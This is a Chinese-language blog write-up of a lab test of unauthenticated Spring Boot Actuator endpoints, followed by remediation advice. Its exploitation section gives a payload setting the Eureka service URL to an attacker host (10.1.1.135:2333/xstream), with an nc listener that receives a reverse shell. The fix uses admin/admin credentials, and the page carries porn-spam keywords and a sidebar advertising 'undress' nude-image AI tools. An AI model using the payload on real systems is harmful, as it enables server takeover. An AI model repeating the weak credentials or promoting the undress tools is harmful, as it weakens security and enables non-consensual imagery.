亚洲国产日韩欧美一区二区三区,精品亚洲国产成人av在线,国产99视频精品免视看7,99国产精品久久久久久久成人热,欧美日韩亚洲国产综合乱

目錄
漏洞修復(fù)
首頁 運(yùn)維 安全 Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

May 23, 2023 am 08:56 AM
spring boot actuator getshell

前言

部門大佬在某src上挖到了這個(gè)漏洞,是一個(gè)比較老的洞了,我覺得有點(diǎn)意思,就動(dòng)手在本地搭了個(gè)環(huán)境測(cè)試一下。

Actuator 是 springboot 提供的用來對(duì)應(yīng)用系統(tǒng)進(jìn)行自省和監(jiān)控的功能模塊,借助于 Actuator 開發(fā)者可以很方便地對(duì)應(yīng)用系統(tǒng)某些監(jiān)控指標(biāo)進(jìn)行查看、統(tǒng)計(jì)等。在 Actuator 啟用的情況下,如果沒有做好相關(guān)權(quán)限控制,非法用戶可通過訪問默認(rèn)的執(zhí)行器端點(diǎn)(endpoints)來獲取應(yīng)用系統(tǒng)中的監(jiān)控信息,從而導(dǎo)致信息泄露甚至服務(wù)器被接管的事件發(fā)生。

Actuator是Spring Boot提供的一個(gè)功能模塊,它可以用于自省和監(jiān)控應(yīng)用程序系統(tǒng)。The provided executor endpoints are divided into two categories: native endpoints and user-defined extension endpoints. The native endpoints mainly include:

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

利用思路

  1. 利用env加refresh進(jìn)行g(shù)etshell

  2. 利用mappings,尋找未授權(quán)接口

  3. 利用trace,獲取認(rèn)證信息(Cookie、tooken、Session),利用認(rèn)證信息訪問接口。

  4. env有可能泄露的數(shù)據(jù)庫賬號(hào)密碼(mangodb),當(dāng)然得開放外網(wǎng),可能性較小。

  5. 老外說可以執(zhí)行sql語句,目前沒搞明白

漏洞發(fā)現(xiàn)

通常識(shí)別當(dāng)前 web 應(yīng)用使用的框架為 springboot 框架。主要有兩個(gè)方法判斷:

  1. 通過 web 應(yīng)用程序網(wǎng)頁標(biāo)簽的圖標(biāo)(favicon.ico);如果 web 應(yīng)用開發(fā)者沒有修改 springboot web 應(yīng)用的默認(rèn)圖標(biāo),那么進(jìn)入應(yīng)用首頁后可以看到如下默認(rèn)的綠色小圖標(biāo):

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

  1. 通過 springboot 框架默認(rèn)報(bào)錯(cuò)頁面;如果 web 應(yīng)用開發(fā)者沒有修改 springboot web 應(yīng)用的默認(rèn) 4xx、5xx 報(bào)錯(cuò)頁面,那么當(dāng) web 應(yīng)用程序出現(xiàn) 4xx、5xx 錯(cuò)誤時(shí),會(huì)報(bào)錯(cuò)如下(此處僅以 404 報(bào)錯(cuò)頁面為例):訪問一個(gè)隨便構(gòu)造的路徑,比如:http:/172.26.2.24:8090/index,出現(xiàn)如下報(bào)錯(cuò)頁面說明web網(wǎng)站使用了springboot框架(在實(shí)際中遇到的大多數(shù)都是此類情況)。

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

綜合以上兩個(gè)途徑來判斷當(dāng)前 web 應(yīng)用是否是 springboot 框架,就是通過訪問不同的目錄,看是否有小綠葉圖標(biāo),然后就是想辦法在不同目錄下觸發(fā)應(yīng)用程序的 4xx 或 5xx 錯(cuò)誤,看是否有 Whitelabel Error Page 報(bào)錯(cuò)。

漏洞利用

訪問/trace端點(diǎn)獲取基本的 HTTP 請(qǐng)求跟蹤信息(時(shí)間戳、HTTP 頭等),如果存在登錄用戶的操作請(qǐng)求,可以偽造cookie進(jìn)行登錄。

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

訪問/env端點(diǎn)獲取全部環(huán)境屬性,由于 actuator 會(huì)監(jiān)控站點(diǎn) mysql、mangodb 之類的數(shù)據(jù)庫服務(wù),所以通過監(jiān)控信息有時(shí)可以mysql、mangodb 數(shù)據(jù)庫信息,如果數(shù)據(jù)庫正好開放在公網(wǎng),那么造成的危害是巨大的,

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

/env端點(diǎn)配置不當(dāng)造成RCE,

前置條件:Eureka-Client <1.8.7(多見于Spring Cloud Netflix)

比如測(cè)試前臺(tái)json報(bào)錯(cuò)泄露包名就是使用netflix

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

需要以下兩個(gè)包

spring-boot-starter-actuator(/refresh刷新配置需要)

spring-cloud-starter-netflix-eureka-client(功能依賴)

利用python3啟動(dòng)腳本,需要注意兩個(gè)地方,一個(gè)為接收shell的ip和端口,另一個(gè)為我們腳本啟動(dòng)的端口,

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

Nc監(jiān)聽一個(gè)端口用以接收反彈shell,

寫入配置,訪問/env端點(diǎn),抓包將get請(qǐng)求改為post請(qǐng)求,post內(nèi)容為(該ip為腳本啟動(dòng)的機(jī)器的ip):

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

然后再訪問/refresh,抓包將get請(qǐng)求更改為post請(qǐng)求,post數(shù)據(jù)隨意,

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

然后在我們nc的窗口可以看到成功反彈了一個(gè)shell回來。

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

漏洞修復(fù)

作為一名安全dog,不能只挖不修,在項(xiàng)目的pom.xml文件下引入spring-boot-starter-security依賴

<dependency>
	<groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId>
</dependency></p>
<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168480339634948.jpg" class="lazy" alt="Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析"></p>
<p>然后在application.properties中開啟security功能,配置訪問賬號(hào)密碼,重啟應(yīng)用即可彈出。</p>
<pre class="brush:php;toolbar:false">management.security.enabled=true
security.user.name=admin
security.user.password=admin

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

禁用接口,則可設(shè)置如下(如禁用env接口):

endpoints.env.enabled= false

問題

老外說可以執(zhí)行sql語句發(fā)現(xiàn)執(zhí)行不了,可能方法沒用對(duì),截了個(gè)他的圖,希望有執(zhí)行成功的大佬分享下。

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

實(shí)際環(huán)境中,發(fā)現(xiàn)很多無refresh ,導(dǎo)致無法執(zhí)行命令目前還沒突破

以上是Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析的詳細(xì)內(nèi)容。更多信息請(qǐng)關(guān)注PHP中文網(wǎng)其他相關(guān)文章!

本站聲明
本文內(nèi)容由網(wǎng)友自發(fā)貢獻(xiàn),版權(quán)歸原作者所有,本站不承擔(dān)相應(yīng)法律責(zé)任。如您發(fā)現(xiàn)有涉嫌抄襲侵權(quán)的內(nèi)容,請(qǐng)聯(lián)系admin@php.cn

熱AI工具

Undress AI Tool

Undress AI Tool

免費(fèi)脫衣服圖片

Undresser.AI Undress

Undresser.AI Undress

人工智能驅(qū)動(dòng)的應(yīng)用程序,用于創(chuàng)建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用于從照片中去除衣服的在線人工智能工具。

Clothoff.io

Clothoff.io

AI脫衣機(jī)

Video Face Swap

Video Face Swap

使用我們完全免費(fèi)的人工智能換臉工具輕松在任何視頻中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費(fèi)的代碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

功能強(qiáng)大的PHP集成開發(fā)環(huán)境

Dreamweaver CS6

Dreamweaver CS6

視覺化網(wǎng)頁開發(fā)工具

SublimeText3 Mac版

SublimeText3 Mac版

神級(jí)代碼編輯軟件(SublimeText3)

熱門話題

Laravel 教程
1597
29
PHP教程
1488
72
如何使用Spring Boot構(gòu)建大數(shù)據(jù)處理應(yīng)用 如何使用Spring Boot構(gòu)建大數(shù)據(jù)處理應(yīng)用 Jun 23, 2023 am 09:07 AM

隨著大數(shù)據(jù)時(shí)代的到來,越來越多的企業(yè)開始了解和認(rèn)識(shí)到大數(shù)據(jù)的價(jià)值,并將其運(yùn)用到商業(yè)中。而隨之而來的問題就是如何處理這些大流量的數(shù)據(jù)。在這種情況下,大數(shù)據(jù)處理應(yīng)用程序成為了每個(gè)企業(yè)必須考慮的事情。而對(duì)于開發(fā)人員而言,如何使用SpringBoot構(gòu)建一個(gè)高效的大數(shù)據(jù)處理應(yīng)用程序也是一個(gè)非常重要的問題。SpringBoot是一個(gè)非常流行的Java框架,它可以讓

使用Spring Boot和JavaFX構(gòu)建桌面應(yīng)用程序 使用Spring Boot和JavaFX構(gòu)建桌面應(yīng)用程序 Jun 22, 2023 am 10:55 AM

隨著技術(shù)的不斷發(fā)展,我們現(xiàn)在可以使用不同的技術(shù)來構(gòu)建桌面應(yīng)用程序。而SpringBoot和JavaFX則是現(xiàn)在較為流行的選擇之一。本文將重點(diǎn)介紹如何使用這兩個(gè)框架來構(gòu)建一個(gè)功能豐富的桌面應(yīng)用程序。一、介紹SpringBoot和JavaFXSpringBoot是一個(gè)基于Spring框架的快速開發(fā)框架。它可以幫助開發(fā)者快速構(gòu)建Web應(yīng)用程序,同時(shí)提供一組開

Spring Boot+MyBatis+Atomikos+MySQL(附源碼) Spring Boot+MyBatis+Atomikos+MySQL(附源碼) Aug 15, 2023 pm 04:12 PM

我們?cè)趯?shí)際項(xiàng)目中,盡量規(guī)避分布式事務(wù)。但是,有些時(shí)候是真的需要做一些服務(wù)拆分從而會(huì)引出分布式事務(wù)問題。同時(shí),分布式事務(wù)也是面試中市場(chǎng)被問,可以拿著這個(gè)案例練練手,面試就可以說上個(gè)123了。

如何利用Spring Boot構(gòu)建區(qū)塊鏈應(yīng)用和智能合約 如何利用Spring Boot構(gòu)建區(qū)塊鏈應(yīng)用和智能合約 Jun 22, 2023 am 09:33 AM

隨著比特幣等數(shù)字貨幣的興起,區(qū)塊鏈技術(shù)也逐漸成為熱門話題。而智能合約,則可視為區(qū)塊鏈技術(shù)的重要組成部分。SpringBoot作為一種流行的Java后端開發(fā)框架,也能夠用來構(gòu)建區(qū)塊鏈應(yīng)用和智能合約。本文將介紹如何利用SpringBoot搭建基于區(qū)塊鏈技術(shù)的應(yīng)用和智能合約。一、SpringBoot與區(qū)塊鏈?zhǔn)紫?,我們需要了解一些與區(qū)塊鏈相關(guān)的基本概念。區(qū)塊鏈

Spring Boot中使用WebSocket實(shí)現(xiàn)推送和通知功能 Spring Boot中使用WebSocket實(shí)現(xiàn)推送和通知功能 Jun 23, 2023 am 11:47 AM

在現(xiàn)代Web應(yīng)用程序開發(fā)中,WebSocket是實(shí)現(xiàn)即時(shí)通信和實(shí)時(shí)數(shù)據(jù)傳輸?shù)某S眉夹g(shù)。SpringBoot框架提供了集成WebSocket的支持,使得開發(fā)者可以非常方便地實(shí)現(xiàn)推送和通知功能。本文將介紹SpringBoot中如何使用WebSocket實(shí)現(xiàn)推送和通知功能,并演示一個(gè)簡(jiǎn)單的實(shí)時(shí)在線聊天室的實(shí)現(xiàn)。創(chuàng)建SpringBoot項(xiàng)目首先,我們需要?jiǎng)?chuàng)建一

使用Spring Boot和Apache ServiceMix構(gòu)建ESB系統(tǒng) 使用Spring Boot和Apache ServiceMix構(gòu)建ESB系統(tǒng) Jun 22, 2023 pm 12:30 PM

隨著現(xiàn)代企業(yè)越來越依賴于各種不同的應(yīng)用程序和系統(tǒng),企業(yè)集成變得愈發(fā)重要。企業(yè)服務(wù)總線(ESB)就是一種集成架構(gòu)模式,通過將不同系統(tǒng)和應(yīng)用程序連接在一起,提供通用的數(shù)據(jù)交換和消息路由服務(wù),從而實(shí)現(xiàn)企業(yè)級(jí)應(yīng)用程序集成。使用SpringBoot和ApacheServiceMix,我們可以輕松構(gòu)建一個(gè)ESB系統(tǒng),這篇文章將介紹如何實(shí)現(xiàn)。SpringBoot和A

Spring Boot的任務(wù)調(diào)度和定時(shí)任務(wù)實(shí)現(xiàn)方法 Spring Boot的任務(wù)調(diào)度和定時(shí)任務(wù)實(shí)現(xiàn)方法 Jun 22, 2023 pm 11:58 PM

SpringBoot是一款非常流行的Java開發(fā)框架,不僅具有快速開發(fā)的優(yōu)勢(shì),而且還內(nèi)置了很多實(shí)用的功能,其中,任務(wù)調(diào)度和定時(shí)任務(wù)就是其常用的功能之一。本文將探討SpringBoot的任務(wù)調(diào)度和定時(shí)任務(wù)實(shí)現(xiàn)方法。一、SpringBoot任務(wù)調(diào)度簡(jiǎn)介SpringBoot任務(wù)調(diào)度(TaskScheduling)是指在特定的時(shí)間點(diǎn)或某個(gè)條件下,執(zhí)行一些特

通過Spring Boot實(shí)現(xiàn)多語言支持和國(guó)際化應(yīng)用 通過Spring Boot實(shí)現(xiàn)多語言支持和國(guó)際化應(yīng)用 Jun 23, 2023 am 09:09 AM

隨著全球化的發(fā)展,越來越多的網(wǎng)站和應(yīng)用需要提供多語言支持和國(guó)際化功能。對(duì)于開發(fā)人員而言,實(shí)現(xiàn)這些功能并不是一件容易的事情,因?yàn)樗枰紤]許多方面的問題,如語言的翻譯、日期、時(shí)間和貨幣格式等等。但是,使用SpringBoot框架,我們可以輕松地實(shí)現(xiàn)多語言支持和國(guó)際化應(yīng)用。首先,讓我們了解一下SpringBoot提供的LocaleResolver接口。Loc

See all articles